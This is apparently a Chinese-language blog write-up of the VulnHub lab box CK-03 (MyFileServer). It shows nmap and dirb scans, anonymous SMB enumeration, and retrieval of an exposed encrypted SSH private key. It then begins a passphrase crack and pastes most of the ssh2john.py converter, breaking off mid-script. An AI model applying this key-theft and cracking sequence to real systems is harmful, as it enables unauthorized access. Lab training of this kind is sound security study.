Lluna's Pure land.

What is life like when singing to wine?

0%

CK-03

0x00官网描述

This box is upgraded edition of previous (MyFileServer 2) box.

Multiple way to get user and root flags are added.

Ping me on twitter @CyberKnight00 if you face any difficulty.

Don’t stop after finding 1 way there are more ways.

This works better with VirtualBox than VMware.

0x01.主机扫描

根据MAC地址得到目标主机为192.168.1.14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@JIYE:~/vulnhub/ck00# nmap -sP 192.168.1.0/24 -oN nmap.sP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-25 15:59 EDT
Nmap scan report for 192.168.1.1
Host is up (0.00058s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.1.14
Host is up (0.00040s latency).
MAC Address: 00:0C:29:D5:67:2B (VMware)
Nmap scan report for 192.168.1.20
Host is up (0.000063s latency).
MAC Address: 00:50:56:FB:E6:6D (VMware)
Nmap scan report for 192.168.1.10
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.04 seconds

0x02.端口扫描

得到以下端口,可以看到ftp端口允许anonymous登入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
root@JIYE:~/vulnhub/ck00# nmap -sC -sV -sT 192.168.1.14 -oN nmap.CVT
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-25 16:09 EDT
Nmap scan report for 192.168.1.14
Host is up (0.0015s latency).
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 3 0 0 16 Feb 19 2020 pub [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.10
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
| 256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_ 256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: My File Server
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100003 3,4 2049/udp nfs
| 100003 3,4 2049/udp6 nfs
| 100005 1,2,3 20048/tcp mountd
| 100005 1,2,3 20048/tcp6 mountd
| 100005 1,2,3 20048/udp mountd
| 100005 1,2,3 20048/udp6 mountd
| 100021 1,3,4 43810/tcp nlockmgr
| 100021 1,3,4 44598/udp6 nlockmgr
| 100021 1,3,4 47781/tcp6 nlockmgr
| 100021 1,3,4 52409/udp nlockmgr
| 100024 1 35697/tcp6 status
| 100024 1 38764/tcp status
| 100024 1 40593/udp6 status
| 100024 1 54638/udp status
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp open netbios-ssn Samba smbd 4.9.1 (workgroup: SAMBA)
2049/tcp open nfs_acl 3 (RPC #100227)
2121/tcp open ftp ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 3 root root 16 Feb 19 2020 pub [NSE: writeable]
MAC Address: 00:0C:29:D5:67:2B (VMware)
Service Info: Host: FILESERVER; OS: Unix

Host script results:
|_clock-skew: mean: -1h49m53s, deviation: 3h10m19s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.1)
| Computer name: localhost
| NetBIOS computer name: FILESERVER\x00
| Domain name: \x00
| FQDN: localhost
|_ System time: 2020-09-26T01:39:56+05:30
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-09-25T20:09:36
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.30 seconds
root@JIYE:~/vulnhub/ck00#

0x03.访问80端口

仅仅是一个静态页面,且可以重定向到一个网站

0x04.扫描目录

得到.ssh目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@JIYE:~/vulnhub/ck00# dirb http://192.168.1.14
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Sep 25 16:26:08 2020
URL_BASE: http://192.168.1.14/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.14/ ----
==> DIRECTORY: http://192.168.1.14/.ssh/
+ http://192.168.1.14/cgi-bin/ (CODE:403|SIZE:210)
+ http://192.168.1.14/index.html (CODE:200|SIZE:174)
---- Entering directory: http://192.168.1.14/.ssh/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Fri Sep 25 16:26:12 2020
DOWNLOADED: 4612 - FOUND: 2
root@JIYE:~/vulnhub/ck00#

0x05.浏览.ssh目录

发现两个文件,第一个为公钥,第二个为私钥,但拒绝访问

浏览文件

1
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaOJE+/p4Y988V1I/soMH5RgdIavic3jBph74ZSUGWCf9I8mdmA6BszNd/QIxSbCXufb8r/yPMuoTDetJNXHyvb3RvPsSQ86N12G+ZaQATcGdf67S8WB+9vGJAPRxbbZiaokBjNXkGvAXs2mDhhtgiNjbnn3fb4KNvdeNJ/+xhZCRwknmKtf55zMgv2kFXFfmJO0kVogVYncnmsNohd0wJuImDJVHuGqvg9KmFCjb/gMhfh0jTIZB7cuseaKAzY8O2g4tMRNyVG5zwAmHkH0D00Du6ssXn1ZMCRq/imdDV7It1+L14d6bDTRCqm2FLRcKcx5PohJC1ElnzTkvhalEx smbuser@FileServer_CK10-test

0x06.浏览SMB服务器端所分享出来的所有资源

可以发现两个目录为smbdata、smbuser,同时也是两个用户

smbclient参考

1
2
3
4
5
6
7
8
9
10
11
12
root@JIYE:~/vulnhub/ck00# smbclient -L 192.168.1.14
Enter WORKGROUP\root's password:
Anonymous login successful

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
smbdata Disk smbdata
smbuser Disk smbuser
IPC$ IPC IPC Service (Samba 4.9.1)
SMB1 disabled -- no workgroup available
root@JIYE:~/vulnhub/ck00#

0x07.登入到服务端

smbdata可以查看,smbuser不可以查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@JIYE:~/vulnhub/ck00# smbclient \\\\192.168.1.14\\smbdata
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 19 00:53:12 2020
.. D 0 Tue Feb 18 06:47:54 2020
anaconda D 0 Tue Feb 18 06:48:15 2020
audit D 0 Tue Feb 18 06:48:15 2020
boot.log N 6120 Tue Feb 18 06:48:16 2020
btmp N 384 Tue Feb 18 06:48:16 2020
cron N 4813 Tue Feb 18 06:48:16 2020
dmesg N 31389 Tue Feb 18 06:48:16 2020
dmesg.old N 31389 Tue Feb 18 06:48:16 2020
glusterfs D 0 Tue Feb 18 06:48:16 2020
lastlog N 292292 Tue Feb 18 06:48:16 2020
maillog N 1982 Tue Feb 18 06:48:16 2020
messages N 684379 Tue Feb 18 06:48:17 2020
ppp D 0 Tue Feb 18 06:48:17 2020
samba D 0 Tue Feb 18 06:48:17 2020
secure N 11937 Tue Feb 18 06:48:17 2020
spooler N 0 Tue Feb 18 06:48:17 2020
tallylog N 0 Tue Feb 18 06:48:17 2020
tuned D 0 Tue Feb 18 06:48:17 2020
wtmp N 25728 Tue Feb 18 06:48:17 2020
xferlog N 100 Tue Feb 18 06:48:17 2020
yum.log N 10915 Tue Feb 18 06:48:17 2020
sshd_config N 3906 Wed Feb 19 02:46:38 2020
todo N 162 Tue Feb 25 09:22:29 2020
id_rsa N 1766 Thu Mar 19 00:43:16 2020
note.txt N 128 Thu Mar 19 00:53:12 2020

19976192 blocks of size 1024. 18256884 blocks available
smb: \>
root@JIYE:~/vulnhub/ck00# smbclient \\\\192.168.1.14\\smbuser
Enter WORKGROUP\root's password:
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
root@JIYE:~/vulnhub/ck00#

下载id_rsa与sshd_config

1
2
3
4
smb: \> get id_rsa
getting file \id_rsa of size 1766 as id_rsa (143.7 KiloBytes/sec) (average 143.7 KiloBytes/sec)
smb: \> get sshd_config
getting file \sshd_config of size 3906 as sshd_config (1907.1 KiloBytes/sec) (average 395.6 KiloBytes/sec)

查看私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
root@JIYE:~/vulnhub/ck00# ls
id_rsa nmap.CVT nmap.sP sshd_config
root@JIYE:~/vulnhub/ck00# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,0111C403C183156C592743C68EA855BD

TRNiuBMH2lIgWgYpBb4MgbhQtW84gdUTJDRQLp/qwBv/KTbycWu+R07J2lGEFJH8
8G1nZ+bjnPayjTyywY5PGySQ4k5pWvmNin16TEAII7XO6Jv+/Ev/N4sPdKe7K3bN
TpJ39S5DVuj4oTTswvUp3dYU6ynu3Qp9PBRdBJnazbK5hwkxOyqa5l1dCfRDpaWf
hPM+GhXbHOvzj+Z9wvlrTuPASsBrCnXd/MAxRmNfDMCHlPHVATEChoP89awwoti5
itxcxqIWGIqilnlm7Dcy2lynE7LlXdXyJAnUI0Plra9PTqC4QoJL3Lyesypzp9Xk
kB9Hv25vherfgjy6AKBcIqZuALtFL2mij7nYC21XxcDudKCaB+UxOQhGBLNN0E16
7bNvnKebLmhyWhDNVaelvF9cd+mxvvPzv5ljhUd3jvhhyU70AgzrpF1ZUxVh2GOs
huzbtCIwX3I+xAQYdw+sThTRG8GcXLjreEUF4gJqlPNWk9gxH/AmfTmGKdLhhoSb
/7wHeMvLwSRaVv6fyPXhPpiB5c3MHCoHFYi6sbmmtYXJBum9fF9iubIzlRu/4vZ2
irmnsEff3vkqqPchb6M0zMtw80QPJgpjhclJjDPiI5P1DWjgLNYOQba0nKNQ3RFa
iy2lup+EsCqWU0KTI+hH+Xm0YAq2/ESqPeNp/U+78y8L5JkpavRYNJyx+vGV8XPP
dGkZD8x68xLIwF6/urZC6utRa1HgyEDIcUbyTUnbRkLUFWbN9eHLrY0pH+zhKJOj
14cUAOpB9RkxAoE6YJ03vJq72OoxfCYhiv3fj4pQRuQJwA2c8IfgdwIJqBIMVPvV
5HX3j5ugkyocLl5Rg+oXjyhNczmABJehk9gA0eCcfQpXGPw/OBMJ4BJdUHxbCOtQ
lAstu+fNBosFhkj3lHXX/ZNIKcYs9+Mvs3E2DvmcK7Us/59qsCwHRZNvd2E3EF9r
nNuHg8sY5HxMvMNH46PH8c4EesuNvOW2pvaCHCT5Id3Up1yyP09hoxyyovnPQ/Gj
HXffEjkc82t9Ip476mfo0NBzB4g7sOb4ZXhG8RxHS4d83S5bITzHP8RrlmkdKCjH
U5YMap/xQ++4XTtgX8DjVoZw1imRtNsCQk6fe0UVKzg2nFV8rkOU8A1o6NDcjE/Z
V/PsYJT3CTEvlzq1/4lLQN2nLrpwmlu+Ate5CEmKxqDIpSIzQBl5N4cU5aa/L1XG
2nFA4H1Ipo7CaUQZ3lQGC/wHaWcP0KnZQ/SrInGOQVu1RJe3MhyG3TyC06FVfmgV
m4oqf39lGQlYX8+cTCK8w6nI6gnSsW92U9j5s9iGEZKN2bI1poyurQaExFiDub6m
QzYWqY1+EUBUYzFMlR08TeHXLvoAmgJNcnZlhXuhWsl6z95UMKvRBLN3Dc4kIVZx
sBZmlYhqhwl0AWYQOl1tJrOMiqLeMhF+xWZ3J/iZ9Pj37Dz9xL8YiA8YUNC/NqT+
3j1s3USXPL0uyxS7tnJJf3aXMBi0XwwHWZg4ii8JQhGiiPhGBE9lpRyPhYCx3xDC
ED/GW22/sWS5fhDr4tynP8VdjiFwbBEcXYHa84XjeUZZaLJQTSwnE/afWVYty8AX
-----END RSA PRIVATE KEY-----
root@JIYE:~/vulnhub/ck00#
root@JIYE:~/vulnhub/ck00# cat sshd_config
## $OpenBSD: sshd_config,v 1.100 2016/08/15 12:32:04 naddy Exp $

# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

# If you want to change the port on a SELinux system, you have to tell
# SELinux about this change.
# semanage port -a -t ssh_port_t -p tcp #PORTNUMBER
#
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
SyslogFacility AUTHPRIV
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# The default is to check both .ssh/authorized_keys and .ssh/authorized_keys2
# but this is overridden so installations will only check .ssh/authorized_keys
AuthorizedKeysFile .ssh/authorized_keys

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no
PasswordAuthentication no

# Change to no to disable s/key passwords
#ChallengeResponseAuthentication yes
ChallengeResponseAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no
#KerberosUseKuserok yes

# GSSAPI options
GSSAPIAuthentication yes
GSSAPICleanupCredentials no
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no
#GSSAPIEnablek5users no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
# WARNING: 'UsePAM no' is not supported in Red Hat Enterprise Linux and may cause several
# problems.
UsePAM yes

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
#PrintMotd yes
#PrintLastLog yes
#TCPKeepAlive yes
#UseLogin no
#UsePrivilegeSeparation sandbox
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#ShowPatchLevel no
#UseDNS yes
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# Accept locale-related environment variables
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT
AcceptEnv LC_IDENTIFICATION LC_ALL LANGUAGE
AcceptEnv XMODIFIERS

# override default of no subsystems
Subsystem sftp /usr/libexec/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
# X11Forwarding no
# AllowTcpForwarding no
# PermitTTY no
# ForceCommand cvs server
root@JIYE:~/vulnhub/ck00#

0x08.john破解

先hashid_rsa

tools地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
#!/usr/bin/env python
import traceback
import binascii
import base64
import sys
try:
from hashlib import md5 as MD5
except ImportError:
from md5 import md5 as MD5

limited = True # set to False for "development" mode!

PY3 = sys.version_info[0] == 3
if PY3:
from io import StringIO
else:
from StringIO import StringIO

class Object(object):
pass

try:
from Crypto.Cipher import DES3, AES
except ImportError:
AES = Object()
AES.MODE_CBC = ""
DES3 = Object()
DES3.MODE_CBC = ""
limited = True


class BERException (Exception):
pass


class BER(object):
"""
Robey's tiny little attempt at a BER decoder.
"""

def __init__(self, content=''):
self.content = content
self.idx = 0

def __str__(self):
return self.content

def __repr__(self):
return 'BER(\'' + repr(self.content) + '\')'

def decode(self):
return self.decode_next()

def decode_next(self):
if self.idx >= len(self.content):
return None
ident = ord(self.content[self.idx])
self.idx += 1
if (ident & 31) == 31:
# identifier > 30
ident = 0
while self.idx < len(self.content):
t = ord(self.content[self.idx])
self.idx += 1
ident = (ident << 7) | (t & 0x7f)
if not (t & 0x80):
break
if self.idx >= len(self.content):
return None
# now fetch length
size = ord(self.content[self.idx])
self.idx += 1
if size & 0x80:
# more complimicated...
# FIXME: theoretically should handle indefinite-length (0x80)
t = size & 0x7f
if self.idx + t > len(self.content):
return None
size = inflate_long(self.content[self.idx: self.idx + t], True)
self.idx += t
if self.idx + size > len(self.content):
# can't fit
return None
data = self.content[self.idx: self.idx + size]
self.idx += size
# now switch on id
if ident == 0x30:
# sequence
return self.decode_sequence(data)
elif ident == 2:
# int
return inflate_long(data)
else:
# 1: boolean (00 false, otherwise true)
raise BERException('Unknown ber encoding type %d (robey is lazy)' % ident)

def decode_sequence(data):
out = []
b = BER(data)
while True:
x = b.decode_next()
if x is None:
break
out.append(x)
return out
decode_sequence = staticmethod(decode_sequence)


class SSHException (Exception):
"""
Exception raised by failures in SSH2 protocol negotiation or logic errors.
"""
pass


class AuthenticationException (SSHException):
"""
Exception raised when authentication failed for some reason. It may be
possible to retry with different credentials. (Other classes specify more
specific reasons.)

@since: 1.6
"""
pass


class PasswordRequiredException (AuthenticationException):
"""
Exception raised when a password is needed to unlock a private key file.
"""
pass


class BadAuthenticationType (AuthenticationException):
"""
Exception raised when an authentication type (like password) is used, but
the server isn't allowing that type. (It may only allow public-key, for
example.)

@ivar allowed_types: list of allowed authentication types provided by the
server (possible values are: C{"none"}, C{"password"}, and
C{"publickey"}).
@type allowed_types: list

@since: 1.1
"""
allowed_types = []

def __init__(self, explanation, types):
AuthenticationException.__init__(self, explanation)
self.allowed_types = types

def __str__(self):
return SSHException.__str__(self) + ' (allowed_types=%r)' % self.allowed_types


class PartialAuthentication (AuthenticationException):
"""
An internal exception thrown in the case of partial authentication.
"""
allowed_types = []

def __init__(self, types):
AuthenticationException.__init__(self, 'partial authentication')
self.allowed_types = types


class ChannelException (SSHException):
"""
Exception raised when an attempt to open a new L{Channel} fails.

@ivar code: the error code returned by the server
@type code: int

@since: 1.6
"""
def __init__(self, code, text):
SSHException.__init__(self, text)
self.code = code


class BadHostKeyException (SSHException):
"""
The host key given by the SSH server did not match what we were expecting.

@ivar hostname: the hostname of the SSH server
@type hostname: str
@ivar key: the host key presented by the server
@type key: L{PKey}
@ivar expected_key: the host key expected
@type expected_key: L{PKey}

@since: 1.6
"""
def __init__(self, hostname, got_key, expected_key):
SSHException.__init__(self, 'Host key for server %s does not match!' % hostname)
self.hostname = hostname
self.key = got_key
self.expected_key = expected_key


from binascii import hexlify, unhexlify
import struct


def inflate_long(s, always_positive=False):
"""turns a normalized byte string into a long-int
(adapted from Crypto.Util.number)"""
out = 0
negative = 0
if not always_positive and (len(s) > 0) and (ord(s[0]) >= 0x80):
negative = 1
if len(s) % 4:
filler = '\x00'
if negative:
filler = '\xff'
s = filler * (4 - len(s) % 4) + s
for i in range(0, len(s), 4):
out = (out << 32) + struct.unpack('>I', s[i:i + 4])[0]
if negative:
out -= (1 << (8 * len(s)))
return out


def deflate_long(n, add_sign_padding=True):
"turns a long-int into a normalized byte string (adapted from Crypto.Util.number)"
# after much testing, this algorithm was deemed to be the fastest
s = ''
n = long(n)
while (n != 0) and (n != -1):
s = struct.pack('>I', n & 0xffffffff) + s
n = n >> 32
# strip off leading zeros, FFs
for i in enumerate(s):
if (n == 0) and (i[1] != '\000'):
break
if (n == -1) and (i[1] != '\xff'):
break
else:
# degenerate case, n was either 0 or -1
i = (0,)
if n == 0:
s = '\000'
else:
s = '\xff'
s = s[i[0]:]
if add_sign_padding:
if (n == 0) and (ord(s[0]) >= 0x80):
s = '\x00' + s
if (n == -1) and (ord(s[0]) < 0x80):
s = '\xff' + s
return s


def format_binary_weird(data):
out = ''
for i in enumerate(data):
out += '%02X' % ord(i[1])
if i[0] % 2:
out += ' '
if i[0] % 16 == 15:
out += '\n'
return out


def format_binary(data, prefix=''):
x = 0
out = []
while len(data) > x + 16:
out.append(format_binary_line(data[x:x + 16]))
x += 16
if x < len(data):
out.append(format_binary_line(data[x:]))
return [prefix + y for y in out]


def format_binary_line(data):
left = ' '.join(['%02X' % ord(c) for c in data])
right = ''.join([('.%c..' % c)[(ord(c) + 63) // 95] for c in data])
return '%-50s %s' % (left, right)


def hexify(s):
return hexlify(s).upper()


def unhexify(s):
return unhexlify(s)


def safe_string(s):
out = ''
for c in s:
if (ord(c) >= 32) and (ord(c) <= 127):
out += c
else:
out += '%%%02X' % ord(c)
return out


def bit_length(n):
norm = deflate_long(n, 0)
hbyte = ord(norm[0])
if hbyte == 0:
return 1
bitlen = len(norm) * 8
while not (hbyte & 0x80):
hbyte <<= 1
bitlen -= 1
return bitlen


def tb_strings():
return ''.join(traceback.format_exception(*sys.exc_info())).split('\n')


def generate_key_bytes(hashclass, salt, key, nbytes):
"""
Given a password, passphrase, or other human-source key, scramble it
through a secure hash into some keyworthy bytes. This specific algorithm
is used for encrypting/decrypting private key files.

@param hashclass: class from L{Crypto.Hash} that can be used as a secure
hashing function (like C{MD5} or C{SHA}).
@type hashclass: L{Crypto.Hash}
@param salt: data to salt the hash with.
@type salt: string
@param key: human-entered password or passphrase.
@type key: string
@param nbytes: number of bytes to generate.
@type nbytes: int
@return: key data
@rtype: string
"""
keydata = ''
digest = ''
if len(salt) > 8:
salt = salt[:8]
while nbytes > 0:
hash_obj = hashclass()
if len(digest) > 0:
hash_obj.update(digest)
hash_obj.update(key)
hash_obj.update(salt)
digest = hash_obj.digest()
size = min(nbytes, len(digest))
keydata += digest[:size]
nbytes -= size
return keydata

"""
Common API for all public keys.
"""


class PKey (object):
"""
Base class for public keys.
"""

# known encryption types for private key files:
_CIPHER_TABLE = {
'AES-128-CBC': {'cipher': AES, 'keysize': 16, 'blocksize': 16, 'mode': AES.MODE_CBC},
'DES-EDE3-CBC': {'cipher': DES3, 'keysize': 24, 'blocksize': 8, 'mode': DES3.MODE_CBC},
'AES-256-CBC': {'cipher': AES, 'keysize': 32, 'blocksize': 16, 'mode': AES.MODE_CBC},
}

def __init__(self, msg=None, data=None):
"""
Create a new instance of this public key type. If C{msg} is given,
the key's public part(s) will be filled in from the message. If
C{data} is given, the key's public part(s) will be filled in from
the string.

@param msg: an optional SSH L{Message} containing a public key of this
type.
@type msg: L{Message}
@param data: an optional string containing a public key of this type
@type data: str

@raise SSHException: if a key cannot be created from the C{data} or
C{msg} given, or no key was passed in.
"""
pass

def __str__(self):
"""
Return a string of an SSH L{Message} made up of the public part(s) of
this key. This string is suitable for passing to L{__init__} to
re-create the key object later.

@return: string representation of an SSH key message.
@rtype: str
"""
return ''

def __cmp__(self, other):
"""
Compare this key to another. Returns 0 if this key is equivalent to
the given key, or non-0 if they are different. Only the public parts
of the key are compared, so a public key will compare equal to its
corresponding private key.

@param other: key to compare to.
@type other: L{PKey}
@return: 0 if the two keys are equivalent, non-0 otherwise.
@rtype: int
"""
hs = hash(self)
ho = hash(other)
if hs != ho:
return cmp(hs, ho)
return cmp(str(self), str(other))

def get_name(self):
"""
Return the name of this private key implementation.

@return: name of this private key type, in SSH terminology (for
example, C{"ssh-rsa"}).
@rtype: str
"""
return ''

def get_bits(self):
"""
Return the number of significant bits in this key. This is useful
for judging the relative security of a key.

@return: bits in the key.
@rtype: int
"""
return 0

def can_sign(self):
"""
Return C{True} if this key has the private part necessary for signing
data.

@return: C{True} if this is a private key.
@rtype: bool
"""
return False

def get_fingerprint(self):
"""
Return an MD5 fingerprint of the public part of this key. Nothing
secret is revealed.

@return: a 16-byte string (binary) of the MD5 fingerprint, in SSH
format.
@rtype: str
"""
return MD5.new(str(self)).digest()

def get_base64(self):
"""
Return a base64 string containing the public part of this key. Nothing
